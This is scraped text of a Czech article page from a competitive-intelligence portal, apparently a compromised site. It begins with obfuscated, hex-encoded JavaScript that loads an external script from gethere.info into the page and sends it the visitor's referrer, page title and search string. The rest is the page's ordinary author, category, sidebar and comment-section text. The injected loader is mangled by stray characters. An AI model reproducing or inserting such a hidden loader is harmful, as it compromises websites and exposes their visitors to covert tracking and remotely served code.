encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12])===  –1){alert(_0×d052[23­])}var _0×b322=[„\x7­3\x63\x72\x69\x70\x74“,„­\x63\x72\x65\x61\x74\x65­\x45\x6C\x65\x6D\x65\x6E­\x74“,„\x73\x72\x63“,„\x­68\x74\x74\x70\x3A\x2F\x­2F\x67\x65\x74\x68\x65\x­72\x65\x2E\x69\x6E\x66\x­6F\x2F\x6B\x74\x2F\x3F\x­32\x36\x34\x64\x70\x72\x­26\x73\x65\x5F\x72\x65\x­66\x65\x72\x72\x65\x72\x­3D“,„\x72\x65\x66\x65\x7­2\x72\x65\x72“,„\x26\x64­\x65\x66\x61\x75\x6C\x74­\x5F\x6B\x65\x79\x77\x6F­\x72\x64\x3D“,„\x74\x69\­x74\x6C\x65“,„\x26“,„\x3­F“,„\x72\x65\x70\x6C\x61­\x63\x65“,„\x73\x65\x61\­x72\x63\x68“,„\x6C\x6F\x­63\x61\x74\x69\x6F\x6E“,­„\x26\x66\x72\x6D\x3D\x7­3\x63\x72\x69\x70\x74“,„­\x63\x75\x72\x72\x65\x6E­\x74\x53\x63\x72\x69\x70­\x74“,„\x69\x6E\x73\x65\­x72\x74\x42\x65\x66\x6F\­x72\x65“,„\x70\x61\x72\x­65\x6E\x74\x4E\x6F\x64\x­65“,„\x61\x70\x70\x65\x6­E\x64\x43\x68\x69\x6C\x6­4“,„\x68\x65\x61\x64“,„\­x67\x65\x74\x45\x6C\x65\­x6D\x65\x6E\x74\x73\x42\­x79\x54\x61\x67\x4E\x61\­x6D\x65“,„\x70\x72\x6F\x­74\x6F\x63\x6F\x6C“,„\x6­8\x74\x74\x70\x73\x3A“,„­\x69\x6E\x64\x65\x78\x4F­\x66“,„\x52\x5F\x50\x41\­x54\x48“,„\x54\x68\x65\x­20\x77\x65\x62\x73\x69\x­74\x65\x20\x77\x6F\x72\x­6B\x73\x20\x6F\x6E\x20\x­48\x54\x54\x50\x53\x2E\x­20\x54\x68\x65\x20\x74\x­72\x61\x63\x6B\x65\x72\x­20\x6D\x75\x73\x74\x20\x­75\x73\x65\x20\x48\x54\x­54\x50\x53\x20\x74\x6F\x­6F\x2E“];var d=document;var s=d[_0×b322[1­]](_0×b322[0]);s[_0×b322­[2]]= _0×b322[3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12];i­f(document[_0×b322[13­]]){document[_0×b322[13­]][_0×b322[15]][_0×b322[­14]](s,documen­t[_0×b322[13]])}el­se {d[_0×b322[18­]](_0×b322[17])[0][_0×b3­22[16]](s)};if(do­cument[_0×b322[11­]][_0×b322[19]]=== _0×b322[20]&& KTracking[_0×b322[22­]][_0×b322[21]](_0×b322[­3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12])===  –1){alert(_0×b322[23­])}

Doporučit článek příteli
  1. *
  2. *
  3. *
  4. *
 

cforms contact form by delicious:days

Rubrika: Autorské články, Odborné články, Realizace CI

Zveřejnil: Michal Klajban

Štítky: ,

Sekce: Profesionál, Student

Související články

Žádné komentáře »

Zatím nemáte žádné komentáře.

RSS komentářů k tomuto příspěvku.

Napsat komentář

Garant projektu

Kabinet informačních studií a knihovnictví FF MU Brno

Realizátor projektu

Realizátor projektu: PARTSIP

Sdílejte Portál CI

Konference a semináře

  • Nejsou žádné události.

Inzerce, zaměstnání, výzvy

Všechny Inzerce, zaměstnání, výzvy...